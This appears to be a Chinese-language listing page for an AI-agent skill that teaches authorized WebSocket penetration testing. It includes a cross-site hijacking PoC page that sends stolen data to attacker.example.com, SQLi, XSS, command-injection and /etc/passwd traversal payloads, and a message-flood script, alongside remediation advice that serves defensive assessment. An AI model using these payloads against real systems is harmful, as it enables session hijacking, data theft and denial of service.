mcpField
E
exploiting-websocket-vulnerabilities

exploiting-websocket-vulnerabilities

github.com/mukul975安全35.2k276 次安装8 周前更新
代码仓库

关于 exploiting-websocket-vulnerabilities

面向授权安全评估的 WebSocket 测试技能,提供检查握手、身份验证、授权、注入和传输保护的分步流程。

主要功能

  1. 01枚举 WebSocket 端点
  2. 02测试握手身份验证与 Origin 校验
  3. 03评估消息注入和授权
  4. 04检查加密与速率限制
  5. 05整理评估报告

适用场景

  1. 01评估聊天服务的 CSWSH 风险
  2. 02测试实时 API 的注入漏洞
  3. 03检查频道访问授权缺陷

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-websocket-vulnerabilities

安装后在 Claude Code 中输入/exploiting-websocket-vulnerabilities确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

利用 WebSocket 漏洞

适用场景

  • 在获得授权的渗透测试中,当应用使用 WebSocket 连接实现实时功能时
  • 评估聊天应用、实时通知、交易平台或协作编辑工具时
  • 测试 WebSocket API 端点的身份验证和授权缺陷时
  • 评估实时数据流是否存在注入漏洞时
  • 对使用 Socket.IO、SignalR 或原生 WebSocket API 的应用进行安全评估时

前置条件

  • 授权:涵盖 WebSocket 测试的书面渗透测试协议
  • Burp Suite Professional:具备 WebSocket 拦截能力
  • 浏览器 DevTools:用于检查 WebSocket 帧的 Network 标签页
  • websocat:命令行 WebSocket 客户端(cargo install websocat)
  • wscat:Node.js WebSocket 客户端(npm install -g wscat)
  • Python websockets:用于编写自定义 WebSocket 攻击脚本(pip install websockets)

工作流

步骤 1:发现并枚举 WebSocket 端点

识别应用中的 WebSocket 连接。

# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames
步骤 2:测试 WebSocket 身份验证

验证 WebSocket 连接是否要求进行正确的身份验证。

# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF
步骤 3:测试跨站 WebSocket 劫持(CSWSH)

检查 WebSocket 握手是否容易受到跨站攻击。

# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working


<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket connected (using victim's session)");
  // Request sensitive data through the WebSocket
  ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
  ws.send(JSON.stringify({type: "get_profile"}));
};

ws.onmessage = function(event) {
  console.log("Data stolen: " + event.data);
  document.getElementById("messages").innerText += event.data + "\n";

  // Exfiltrate to attacker server
  fetch("https://attacker.example.com/collect", {
    method: "POST",
    body: event.data
  });
};

ws.onerror = function(error) {
  console.log("WebSocket error: " + error);
};
</script>
</body>
</html>
步骤 4:测试 WebSocket 消息注入

评估 WebSocket 消息是否存在注入漏洞。

# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_token"

# Once connected, send test messages:

# SQL injection in WebSocket message
# > {"action":"search","query":"' OR 1=1--"}

# XSS payload in chat message
# > {"type":"message","content":"<script>alert(document.cookie)</script>"}
# > {"type":"message","content":"<img src=x onerror=alert(1)>"}

# Command injection
# > {"action":"ping","host":"127.0.0.1; whoami"}

# Path traversal
# > {"action":"read_file","path":"../../../etc/passwd"}

# IDOR in WebSocket messages
# > {"action":"get_messages","channel_id":1}
# > {"action":"get_messages","channel_id":2}  (another user's channel)

# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json

PAYLOADS = [
    {"action": "search", "query": "' OR 1=1--"},
    {"action": "search", "query": "<script>alert(1)</script>"},
    {"action": "search", "query": "{{7*7}}"},
    {"action": "search", "query": "${7*7}"},
    {"action": "read", "file": "../../../etc/passwd"},
    {"action": "exec", "cmd": "; whoami"},
]

async def test_injections():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        for payload in PAYLOADS:
            await ws.send(json.dumps(payload))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Payload: {json.dumps(payload)}")
                print(f"Response: {response}\n")
            except asyncio.TimeoutError:
                print(f"Timeout for: {json.dumps(payload)}\n")

asyncio.run(test_injections())
PYEOF
步骤 5:测试 WebSocket 授权与速率限制

检查是否强制执行消息级授权和滥用控制措施。

# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json

async def test_authz():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=user_a_session"}
    ) as ws:
        # Try accessing User B's private data
        messages = [
            {"type": "subscribe", "channel": "user_b_private"},
            {"type": "get_history", "user_id": "user_b_id"},
            {"type": "admin_action", "action": "list_users"},
            {"type": "send_message", "to": "admin", "as": "admin"},
        ]
        for msg in messages:
            await ws.send(json.dumps(msg))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Sent: {json.dumps(msg)}")
                print(f"Received: {response}\n")
            except asyncio.TimeoutError:
                print(f"No response for: {json.dumps(msg)}\n")

asyncio.run(test_authz())
PYEOF

# Test rate limiting on WebSocket messages
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time

async def test_rate_limit():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        start = time.time()
        for i in range(1000):
            await ws.send(json.dumps({
                "type": "message",
                "content": f"Flood message {i}"
            }))
        elapsed = time.time() - start
        print(f"Sent 1000 messages in {elapsed:.2f} seconds")
        print("If no rate limiting, DoS is possible")

asyncio.run(test_rate_limit())
PYEOF
步骤 6:测试 WebSocket 加密与协议安全

验证传输安全和协议级防护措施。

# Check if WebSocket uses WSS (encrypted) or WS (plaintext)
# WS (ws://) traffic can be intercepted by network attackers

# Check for mixed protocols
# Application on HTTPS but WebSocket on WS = insecure
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
# Should only find wss:// (encrypted WebSocket)

# Test Sec-WebSocket-Protocol header handling
wscat -c "wss://target.example.com/ws" \
  -H "Sec-WebSocket-Protocol: admin-protocol"

# Test for compression side-channel (CRIME-like attacks)
# Check if Sec-WebSocket-Extensions includes permessage-deflate
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Extensions: permessage-deflate" \
  "https://target.example.com/ws" | grep -i "sec-websocket-extensions"
# permessage-deflate with secrets in messages can leak data via compression

# Test WebSocket connection persistence
# Check if server implements proper timeouts and connection limits

核心概念

概念描述
WebSocket 握手将连接从 HTTP 转换为 WebSocket 协议的 HTTP 升级请求
CSWSH跨站 WebSocket 劫持 - 利用缺失的 Origin 校验来劫持会话
Origin 校验服务端检查 WebSocket 升级请求是否来自受信任的源
消息级授权验证每条 WebSocket 消息的权限,而不仅仅在连接时验证
WSSWebSocket Secure - 基于 TLS 的加密 WebSocket 连接(等同于 HTTPS)
Socket.IO流行的 WebSocket 库,可自动回退到 HTTP 长轮询
Ping/Pong 帧WebSocket 保活机制;可被滥用于时序攻击

工具与系统

工具用途
Burp Suite ProfessionalWebSocket 拦截、修改和历史分析
wscat用于手动测试的命令行 WebSocket 客户端
websocat用 Rust 编写的多功能命令行 WebSocket 客户端
浏览器 DevToolsNetwork 标签页的 WS 过滤器,用于检查 WebSocket 帧
Socket.IO Client测试基于 Socket.IO 的 WebSocket 实现
Python websockets编写自动化 WebSocket 攻击序列脚本

常见场景

场景 1:聊天应用 CSWSH

某实时聊天应用在 WebSocket 握手期间验证用户 Cookie,但不检查 Origin 头。攻击者托管一个页面向聊天服务器打开 WebSocket,窃取受害者的私信。

场景 2:交易平台消息注入

某交易平台处理包含订单参数的 WebSocket 消息。订单消息 symbol 字段中的 SQL 注入允许通过基于错误的 SQLi 提取整个订单数据库。

场景 3:缺失消息授权

某协作工具在 WebSocket 连接时检查用户身份验证,但不验证单条消息的授权。连接后,普通用户发送管理员级命令来删除工作区并导出用户数据。

场景 4:通知渠道 IDOR

通知系统通过包含渠道 ID 的 WebSocket 消息让用户订阅渠道。更改渠道 ID 后,任何用户都可以订阅任意其他用户的私有通知渠道。

输出格式

## WebSocket Security Assessment Report

**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control

### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |

### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |

### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)

### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake

评论

支持 Markdown